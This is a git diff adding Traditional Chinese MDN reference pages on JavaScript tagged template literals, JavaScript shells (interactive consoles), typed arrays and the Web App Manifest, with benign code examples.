+<p>In ES2015 with nested template literals:</p>
+
+<pre class="brush: js">const classes = `header $<strong>{</strong> isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}`<strong> </strong><strong>}`</strong>;</pre>
+
+<h3 id="標籤樣板字面值">標籤樣板字面值</h3>
+
+<p>標籤樣板字面值是一種更高級的樣板字面值形式，允許你透過標籤函數操作樣板字面值的輸出。標籤函數的第一個參數是一字串陣列，其餘參數則是處理過的表達式。最終，你可以返回一個經處理後的字串，甚至是完全不一樣的東西（如下述第二個範例中）。標籤函數的名稱可以是任何你想要的。</p>
+
+<pre class="brush: js">var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+
+  var str0 = strings[0]; // "that "
+  var str1 = strings[1]; // " is a "
+
+  // There is technically a string after
+  // the final expression (in our example),
+  // but it is empty (""), so disregard.
+  // var str2 = strings[2];
+
+  var ageStr;
+  if (ageExp &gt; 99){
+    ageStr = 'centenarian';
+  } else {
+    ageStr = 'youngster';
+  }
+
+  return str0 + personExp + str1 + ageStr;
+
+}
+
+var output = myTag`that ${ person } is a ${ age }`;
+
+console.log(output);
+// that Mike is a youngster</pre>
+
+<p>標籤函數不一定要回傳一個字串，如下列範例：</p>
+
+<pre class="brush: js">function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A');  // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'});  // "Hello World!"
+</pre>
+
+<h3 id="原始字串">原始字串</h3>
+
+<p>標籤函數的第一個參數，帶有一個特殊的屬性「 <code>raw</code> 」，允許你獲取原始輸入的、未處理任何<a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in_strings">轉義序列</a>的字串值。</p>
+
+<pre class="brush: js">function tag(strings) {
+  console.log(strings.raw[0]);
+}
+
+tag`string text line 1 \n string text line 2`;
+// logs "string text line 1 \n string text line 2" ,
+// including the two characters '\' and 'n'
+</pre>
+
+<p>此外, 使用 {{jsxref("String.raw()")}} 方法建立的原始字串，也與預設的樣板函數和字串串接會建立的字串相同。 </p>
+
+<pre class="brush: js">var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"
+</pre>
+
+<h3 id="標籤樣板字面值和跳脫序列">標籤樣板字面值和跳脫序列</h3>
+
+<p>在 ES2016 的規範中，標籤樣板字面值遵守下列跳脫序列（escape sequences）規則：</p>
+
+<ul>
+ <li>萬國碼 (Unicode) 跳脫序列由 "\u" 作為開頭, 例： <code>\u00A9</code></li>
+ <li>萬國碼位 (Unicode code point) 由 "\u{}" 作為開頭, 例： <code>\u{2F804}</code></li>
+ <li>十六進位制碼由 "\x" 作為開頭, 例： <code>\xA9</code></li>
+ <li>十進位制碼由 "\" 作為開頭, 例： \251</li>
+</ul>
+
+<p>這表示像是下述的標籤樣板字面值是有問題的，因為根據 ECMAScript 規範，一個語法分析器會嘗試以萬國碼轉義序列去解析它，然後發現序列有誤：</p>
+
+<pre class="brush: js">latex`\unicode`
+// Throws in older ECMAScript versions (ES2016 and earlier)
+// SyntaxError: malformed Unicode character escape sequence</pre>
+
+<p>Tagged template literals should allow the embedding of languages (for example <a href="https://en.wikipedia.org/wiki/Domain-specific_language">DSLs</a>, or <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a>), where other escapes sequences are common. The ECMAScript proposal <a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a> (stage 4, to be integrated in the ECMAScript 2018 standard) removes the syntax restriction of ECMAScript escape sequences from tagged template literals.</p>
+
+<p>However, illegal escape sequence must still be represented in the "cooked" representation. They will show up as {{jsxref("undefined")}} element in the "cooked" array:</p>
+
+<p>l be represented in the "cooked" representation. They will show up as {{jsxref("undefined")}} element in the "cooked" array:</p>
+
+<p> </p>
+
+<pre class="brush: js">function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\\unicode" }</pre>
+
+<p>Note that the escape sequence restriction is only dropped from <em>tagged</em> template literals and not from <em>untagged</em> template literals:</p>
+
+<pre class="brush: js example-bad">let bad = `bad escape sequence: \unicode`;</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition. Defined in several section of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several section of the specification: <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a></td>
+   <td>Stage 4 draft</td>
+   <td>Drops escape sequence restriction from tagged template literals</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.grammar.template_literals")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Template-like strings in ES3 compatible syntax</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/">"ES6 in Depth: Template strings" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/shells/index.html b/files/zh-tw/web/javascript/shells/index.html
new file mode 100644
index 0000000000..7579762b83
--- /dev/null
+++ b/files/zh-tw/web/javascript/shells/index.html
@@ -0,0 +1,42 @@
+---
+title: JavaScript shells
+slug: Web/JavaScript/Shells
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<div> </div>
+
+<p>JavaScript shell 可以讓你不需要重新載入頁面就能快速的測試 <a href="/en-US/docs/Web/JavaScript">JavaScript</a> 的程式碼，它們在開發和除錯上面都十分的有用。</p>
+
+<h2 id="獨立的_JavaScript_shell">獨立的 JavaScript shell</h2>
+
+<p>下列的 JavaScript shell 都是獨立的環境，就像 perl 或是 python 一樣。</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js 是一個可以快速建置，可擴充的網路應用程式</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - 獨立的 JavaScript shell，可以在 Windows、Mac 以及 Linux 編譯二進制的執行檔</li>
+ <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - 獨立且可擴充的 JavaScript shell，它包涵了原生 JavaScript 以及其函式庫</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - 用來撰寫跨平台且獨立的 JavaScript shell，它可以使用 wxWidgets 以建立 GUI 的應用，通常也叫做 wxJavaScript</li>
+ <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - 透過 Perl 增強的 JavaScript shell，可以在 JavaScript 中直接使用下列的 perl 模組：用以資料庫整合的 DBI、用來處理 GUI 的應用程式的 GTK2、用來撰寫系統程式的 POSIX 等模組。CPAN 模組現在已經可以讓 JavaScript 的程式設計師使用</li>
+ <li><a class="external" href="http://shelljs.org">ShellJS</a> - Node.js 裡可攜式的 Unix shell 命令</li>
+</ul>
+
+<h2 id="JavaScript_shell_的列表">JavaScript shell 的列表</h2>
+
+<p>下列 JavaScript shells 需要 Mozilla 才能運作</p>
+
+<ul>
+    <li><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a> 為 Firefox 6.0 開始內建的 JavaScript 主控台</li>
+    <li><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - 是一個 JavaScript 的命令列直譯器</li>
+    <li><a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> 是一個 <a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a> 的 shell - 它有時候用來處理 Mozilla 的開發</li>
+    <li><a class="external" href="http://babeljs.io/repl">Babel REPL</a> - 以瀏覽器為基準的 <a href="https://en.wikipedia.org/wiki/REPL">REPL</a>，主要用來實驗未來的 JavaScript</li>
+    <li><a class="external" href="http://es6console.com">ES6Console.com</a> - 開放原始碼的 JavaScript 主控台，用來測試在瀏覽器裡 ES2015 的程式碼</li>
+    <li><a class="external" href="http://jsconsole.com/">jsconsole.com</a> - 開放原始碼的 JavaScript 主控台，它能輕易的連結一些特定的表達式</li>
+    <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (web page)</a> - 同樣為 <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extension Developer's Extension</a> 擴充的一部份</li>
+    <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - 以 DHTML 為基礎的 shell，讓使用者可以在命令列裡存取網頁</li>
+    <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - 用來連接 Firefox 和其它 Mozilla 的應用程式，使用者能在它們運作時查看並修改它們</li>
+    <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - Firefox 的擴充程式，它提供了增強的 javaScript 主控台，使用者可以輕易的輸入或執行 JavaScript 以及修改函式（已停止維護）</li>
+    <li><a class="external link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - 簡易的 Firefox 主控台</li>
+    <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - Firefox 的開發者工具，同樣包函主控台</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/typed_arrays/index.html b/files/zh-tw/web/javascript/typed_arrays/index.html
new file mode 100644
index 0000000000..c0db745221
--- /dev/null
+++ b/files/zh-tw/web/javascript/typed_arrays/index.html
@@ -0,0 +1,227 @@
+---
+title: JavaScript 型別陣列
+slug: Web/JavaScript/Typed_arrays
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Typed_arrays
+---
+<p>{{JsSidebar("Advanced")}}</p>
+
+<p>當 Webapp 有了視頻、<a href="/zh_tw/Introducing_the_Audio_API_Extension" title="zh tw/Introducing the Audio API Extension">音頻操作</a>及用 <a href="/zh_tw/WebSockets" title="zh tw/WebSockets">WebSockets</a> 存取原始資料等等的功能而變得越來越強大，讓 JavaScript 代碼可以快速、簡單地操作原始二進制資料的好處就越來越明顯。以前唯一的解法是視原始資料為<a href="/zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/String_物件" title="zh tw/Core JavaScript 1.5 教學/預先定義的核心物件/String 物件">字串</a>並用 <a href="/en/JavaScript/Reference/Global_Objects/String/charCodeAt" title="en/Core JavaScript 1.5 Reference/Global Objects/String/charCodeAt"><code>charCodeAt()</code></a> 方法讀取資料緩衝的位元組。</p>
+
+<p>然而，由於需要多次型別轉換（特別是二進制資料並非以位元組計算，如32位元整數或浮點數），這個解法既慢又容易發生錯誤。</p>
+
+<p>JavaScript 型別陣列提供了存取二進制資料更有效率的機制。</p>
+
+<p>型別陣列不該與一般的陣列搞混，當對型別陣列呼叫{{jsxref("Array.isArray()")}}時會回傳<code>false</code>。此外，一般陣列所提供的方法並非全部被型別陣列所支援(如push以及pop方法)</p>
+
+<h2 id="緩衝與視圖：型別陣列的架構">緩衝與視圖：型別陣列的架構</h2>
+
+<p>為了追求最大的可朔性與效率，JavaScript 型別陣列的實作分為<strong>緩衝</strong>與<strong>視圖</strong>。一個緩衝（以類別 {{jsxref("ArrayBuffer")}} 實作）為代表一塊資料資料的物件，它沒有任何格式，也沒有任何存取其內容的機制。想存取一個緩衝所佔的記憶體必須用一個視圖。一個視圖提供了一種前後關係 — 資料型別、起始偏移與元素的數目 — 使得資料變成真實的型別陣列。視圖以類別 {{jsxref("ArrayBufferView")}} 與其子類別實作。</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>{{jsxref("ArrayBuffer")}} 是一種資料型態，用於表示通用的固定長度二進制資料緩衝區。 您不能直接操作 <code>ArrayBuffer</code> 的內容。但是，您可以建立一個型別陣列視圖 (typed array view) 或一個 {{jsxref("DataView")}}，它以特定格式代表緩衝區，並使用它讀取和寫入緩衝區的內容。</p>
+
+<h3 id="型別陣列視圖_(Typed_array_views)">型別陣列視圖 (Typed array views)</h3>
+
+<p>型別陣列視圖具有自述性名稱，並為所有常用的數字類型（如 <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> 等）提供視圖。 有一個特殊的型別陣列視圖 <code>Uint8ClampedArray</code>。 它的範圍值在 0 到 255 之間。它對於 <a href="/zh-TW/docs/Web/API/Canvas_API/Tutorial">Canvas 的資料處理</a>非常有用。</p>
+
+<p>{{page("/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p>
+
+<h3 id="DataView">DataView</h3>
+
+<p>The {{jsxref("DataView")}} is a low-level interface that provides a getter/setter API to read and write arbitrary data to the buffer. This is useful when dealing with different types of data, for example. Typed array views are in the native byte-order (see {{Glossary("Endianness")}}) of your platform. With a <code>DataView</code> you are able to control the byte-order. It is big-endian by default and can be set to little-endian in the getter/setter methods.</p>
+
+<h2 id="Web_APIs_using_typed_arrays">Web APIs using typed arrays</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/API/FileReader#readAsArrayBuffer()" title="/zh-TW/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
+ <dd>The <code>FileReader.prototype.readAsArrayBuffer()</code> method starts reading the contents of the specified <a href="/zh-TW/docs/Web/API/Blob" title="/zh-TW/docs/DOM/Blob"><code>Blob</code></a> or <a href="/zh-TW/docs/Web/API/File" title="/zh-TW/docs/DOM/File"><code>File</code></a>.</dd>
+ <dt><a href="/zh-TW/docs/Web/API/XMLHttpRequest#send()" title="/zh-TW/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd><code>XMLHttpRequest</code> instances' <code>send()</code> method now supports typed arrays and {{jsxref("ArrayBuffer")}} objects as argument.</dd>
+ <dt><code><a href="https://developer.mozilla.org/zh-TW/docs/Web/API/ImageData">ImageData.data</a></code></dt>
+ <dd>Is a {{jsxref("Uint8ClampedArray")}} representing a one-dimensional array containing the data in the RGBA order, with integer values between <code>0</code> and <code>255</code> inclusive.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用視圖與緩衝">使用視圖與緩衝</h3>
+
+<p>先來建立一個 16 位元組的緩衝：</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(16);
+</pre>
+
+<p>在這個時候，我們有位元組全部初始為0的一塊記憶體，但是用它做不了什麼事。我們只能確認它的確是16的位元組的長度：</p>
+
+<pre class="brush:js">if (buffer.byteLength === 16) {
+  console.log("沒錯，是 16 個位元組。");
+} else {
+  console.log("糟糕，長度不對！");
+}
+</pre>
+
+<p>要用這個緩衝搞點花樣之前，建立一個視圖是必需的。來建立一個視圖把這個緩衝當作32位元的有符號整數：</p>
+
+<pre class="brush:js">var int32View = new Int32Array(buffer);
+</pre>
+
+<p>這樣就可以把它當作一般的陣列以存取欄位：</p>
+
+<pre class="brush:js">for (var i = 0; i &lt; int32View.length; i++) {
+  int32View[i] = i * 2;
+}
+</pre>
+
+<p>這會把此陣列的四個欄位以 0、2、4、6 填滿（四個 4 位元組，總共 16 位元組）。</p>
+
+<h3 id="同一份資料的多個視圖">同一份資料的多個視圖</h3>
+
+<p>考慮在同一份資料上建立多個視圖的有趣情形。舉例來說，繼續使用上面的代碼：</p>
+
+<pre class="brush:js">var int16View = new Int16Array(buffer);
+
+for (var i = 0; i &lt; int16View.length; i++) {
+  console.log('Entry ' + i + ': ' + int16View[i]);
+}
+</pre>
+
+<p>雖然該緩衝上已有一個32位元的視圖，這裡建立了同一個緩衝上的16位元整數視圖，這裡的輸出為 0, 0, 2, 0, 4, 0, 6, 0。</p>
+
+<p>繼續考慮這種情況：</p>
+
+<pre class="brush: js">int16View[0] = 32;
+console.log("現在32位元陣列的欄位0是" + int32View[0]);
+</pre>
+
+<p>輸出為"現在32位元陣列的欄位0是32"。也就是，這兩個陣列真的是同一個資料緩衝的在不同格式下的看法。其他 <a href="/en/JavaScript_typed_arrays/ArrayBufferView#Typed_array_subclasses" title="en/JavaScript typed arrays/ArrayBufferView#Typed array subclasses">view types</a> 也是同樣的情形。</p>
+
+<h3 id="處理複雜的資料結構">處理複雜的資料結構</h3>
+
+<p>在單一個緩衝使用不同型別、不同起始偏移的多個視圖以操作資料物件含有的多個資料型別。這個方法可以用在使用 <a href="/en/WebGL" title="en/WebGL">WebGL</a> 、資料檔案、<a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a> 時遇到的複雜的資料結構。</p>
+
+<p>考慮這個 C 結構：</p>
+
+<pre class="brush:cpp">struct someStruct {
+  unsigned long id;
+  char username[16];
+  float amountDue;
+};</pre>
+
+<p>可以用以下方法存取含有這種資料格式的緩衝：</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(24);
+
+// ... 將資料讀入緩衝 ...
+
+var idView = new Uint32Array(buffer, 0, 1);
+var usernameView = new Uint8Array(buffer, 4, 16);
+var amountDueView = new Float32Array(buffer, 20, 1);
+</pre>
+
+<p>舉例來說，可以用 <code>amountDueView[0]</code> 存取 amountDue。</p>
+
+<div class="note"><strong>備註：</strong>C 結構的 <a class="external" href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="http://en.wikipedia.org/wiki/Data_structure_alignment">data structure alignment</a> 是與使用平台有關，須小心這些填充上的差異。</div>
+
+<h3 id="Conversion_to_normal_arrays">Conversion to normal arrays</h3>
+
+<p>After processing a typed array, it is sometimes useful to convert it back to a normal array in order to benefit from the {{jsxref("Array")}} prototype. This can be done using {{jsxref("Array.from")}}, or using the following code where <code>Array.from</code> is unsupported.</p>
+
+<pre class="brush:js">var typedArray = new Uint8Array([1, 2, 3, 4]),
+    normalArray = Array.prototype.slice.call(typedArray);
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/zh-TW/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></li>
+ <li><a href="/zh-TW/docs/Code_snippets/StringView" title="/zh-TW/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays">Faster Canvas Pixel Manipulation with Typed Arrays</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/typed_arrays">Typed Arrays: Binary Data in the Browser</a></li>
+ <li>{{Glossary("Endianness")}}</li>
+</ul>
diff --git a/files/zh-tw/web/manifest/index.html b/files/zh-tw/web/manifest/index.html
new file mode 100644
index 0000000000..9e3325f71a
--- /dev/null
+++ b/files/zh-tw/web/manifest/index.html
@@ -0,0 +1,327 @@
+---
+title: Web App Manifest
+slug: Web/Manifest
+translation_of: Web/Manifest
+---
+<p>{{SeeCompatTable}}</p>
+
+<p>Web App manifest 是一個 JSON 格式的文件，它提供了應用程式相關的資訊（像是名稱、作者、圖示、描述）。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面，為使用者提供更快速的訪問和更豐富的體驗。</p>
+
+<p>Web App manifests 是屬於 <a href="/en-US/docs/Web/Apps/Progressive">progressive web apps</a> 的 Web 技術系列的一部分， 這是一個能不透過 App 商店就能被安裝到設備主畫面的 Web 應用程式，伴隨著其他功能，比如離線使用和通知的接收發送。</p>
+
+<h2 id="部署_manifest">部署 manifest</h2>
+
+<p>Web app manifest 的部署只需要在 HTML 文件中的 <a href="/zh-TW/docs/Web/HTML/Element/head">head</a> 區域加上 <a href="/zh-TW/docs/Web/HTML/Element/link">link 元素</a>即可。</p>
+
+<div class="highlight">
+<pre class="notranslate brush:html">&lt;link rel="manifest" href="/manifest.json"&gt;</pre>
+</div>
+
+<h2 id="manifest_範例">manifest 範例</h2>
+
+<pre class="brush: json notranslate">{
+  "name": "HackerWeb",
+  "short_name": "HackerWeb",
+  "start_url": ".",
+  "display": "standalone",
+  "background_color": "#fff",
+  "description": "A simply readable Hacker News app.",
+  "icons": [{
+    "src": "images/touch/homescreen48.png",
+    "sizes": "48x48",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen72.png",
+    "sizes": "72x72",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen96.png",
+    "sizes": "96x96",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen144.png",
+    "sizes": "144x144",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen168.png",
+    "sizes": "168x168",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen192.png",
+    "sizes": "192x192",
+    "type": "image/png"
+  }],
+  "related_applications": [{
+    "platform": "web"
+  }, {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
+  }]
+}</pre>
+
+<h2 id="成員">成員</h2>
+
+<h3 id="background_color"><code>background_color</code></h3>
+
+<p>定義 Web 應用程式預期的背景顏色。 其值雖然與應用程式樣式表中的值有所重複，但是在 manifest 已可用而樣式表載入之前，瀏覽器可使用該值來繪製 Web 應用程式的背景色。 這能在 Web 應用程式的啟動和載入內容之間創建平順的過場。</p>
+
+<pre class="brush: json notranslate">"background_color": "red"</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>background_color</code> 成員僅用於改善 Web 應用程式載入時體驗，並且當 Web 應用程式的樣式表可用時，使用者代理不能再將其用作背景顏色。</p>
+</div>
+
+<h3 id="description"><code>description</code></h3>
+
+<p>提供一段描述來形容這個 Web 應用程式的作用是什麼。</p>
+
+<pre class="brush: json notranslate">"description": "The app that helps you find the best food in town!"</pre>
+
+<h3 id="dir"><code>dir</code></h3>
+
+<p>指定一個對於 <code>name</code>、<code>short_name<font face="Open Sans, arial, sans-serif">、</font></code><code>description</code> 等成員的主要書寫方向。 包含 <code>lang</code> 成員，其能夠為右至左書寫的語言提供幫助。</p>
+
+<pre class="brush: json notranslate" dir="rtl">"dir": "rtl",
+"lang": "ar",
+"short_name": "أنا من التطبيق!"</pre>
+
+<p>其值可以是下列的其中之一：</p>
+
+<ul>
+ <li><code>ltr</code>（左至右）</li>
+ <li><code>rtl</code>（右至左）</li>
+ <li><code>auto</code>（讓瀏覽器根據 Unicode 雙向演算法對書寫方向做出最佳的猜測）</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: 當省略其值時，預設為 <code>auto</code>。</p>
+</div>
+
+<h3 id="display"><code>display</code></h3>
+
+<p>定義開發者喜好的 Web 應用程式顯示模式。</p>
+
+<pre class="brush: json notranslate">"display": "standalone"</pre>
+
+<p>有效值：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">顯示模式</th>
+   <th scope="col">描述</th>
+   <th scope="col">Fallback 顯示模式</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>所有可用的顯示區域都被填充並且不顯示使用者代理 {{Glossary("chrome")}} 。</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>這看起來和感覺上就像是獨立應用程式一樣，包括有不同的執行視窗、有圖示的應用程式啟動器 ... 等等。 在這模式下，使用者代理將不包含控制導覽列，但能包含其他的 UI 元素，像是狀態列。</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>這看起來和感覺上就像是獨立應用程式一樣，但將有控制導覽列 UI 元素的最小設置，元素會因瀏覽器而不同。</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>預設值。 應用程式如常規般地被開啟於瀏覽器分頁或新視窗，依瀏覽器與平台而不同。</td>
+   <td>(None)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: 您能根據顯示模式選擇性地將 CSS <a href="/docs/Web/CSS/@media/display-mode">display-mode</a> media 功能運用於您的應用程式，這可以提供一致的使用者體驗不管是由網址開啟網站或者由桌面圖示啟動。</p>
+</div>
+
+<h3 id="icons"><code>icons</code></h3>
+
+<p>指定一個陣列，其包含可以在不同上下文情況當中做為應用程式圖示的物件。 舉例來說，其可能被用作代表該 web 應用程式出現在其他應用程式的列表當中，或是作業系統的任務切換器 task switcher 與系統偏好設定 system preferences。</p>
+
+<pre class="brush: json notranslate">"icons": [
+  {
+    "src": "icon/lowres.webp",
+    "sizes": "48x48",
+    "type": "image/webp"
+  },
+  {
+    "src": "icon/lowres",
+    "sizes": "48x48"
+  },
+  {
+    "src": "icon/hd_hi.ico",
+    "sizes": "72x72 96x96 128x128 256x256"
+  },
+  {
+    "src": "icon/hd_hi.svg",
+    "sizes": "72x72"
+  }
+]</pre>
+
+<p>圖示物件能包含下列的值：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">成員</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>以空白間隔各圖片尺吋的一個字串。 </td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>圖檔的路徑。 若 src 為相對路徑，則網址將以 manifest 的位置為基準。</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>關於圖片媒體類型的提示。 其使用目的是允許使用者代理快速地去忽略其不支持的媒體類型的圖片。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="lang"><code>lang</code></h3>
+
+<p>指定一個對於 <code>name</code>、<code>short_name</code> 等成員的主要語言。 其值限單一種語言標籤的字串。</p>
+
+<pre class="brush: json notranslate">"lang": "en-US"</pre>
+
+<h3 id="name"><code>name</code></h3>
+
+<p>提供一個人類可讀的應用程式名稱，其值是對使用者顯示的，可能在其他應用程式的列表之中，或是做為圖示的標籤。</p>
+
+<pre class="brush: json notranslate">"name": "Google I/O 2017" </pre>
+
+<h3 id="orientation"><code>orientation</code></h3>
+
+<p>定義預設的顯示方向，其將作用在 all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}.</p>
+
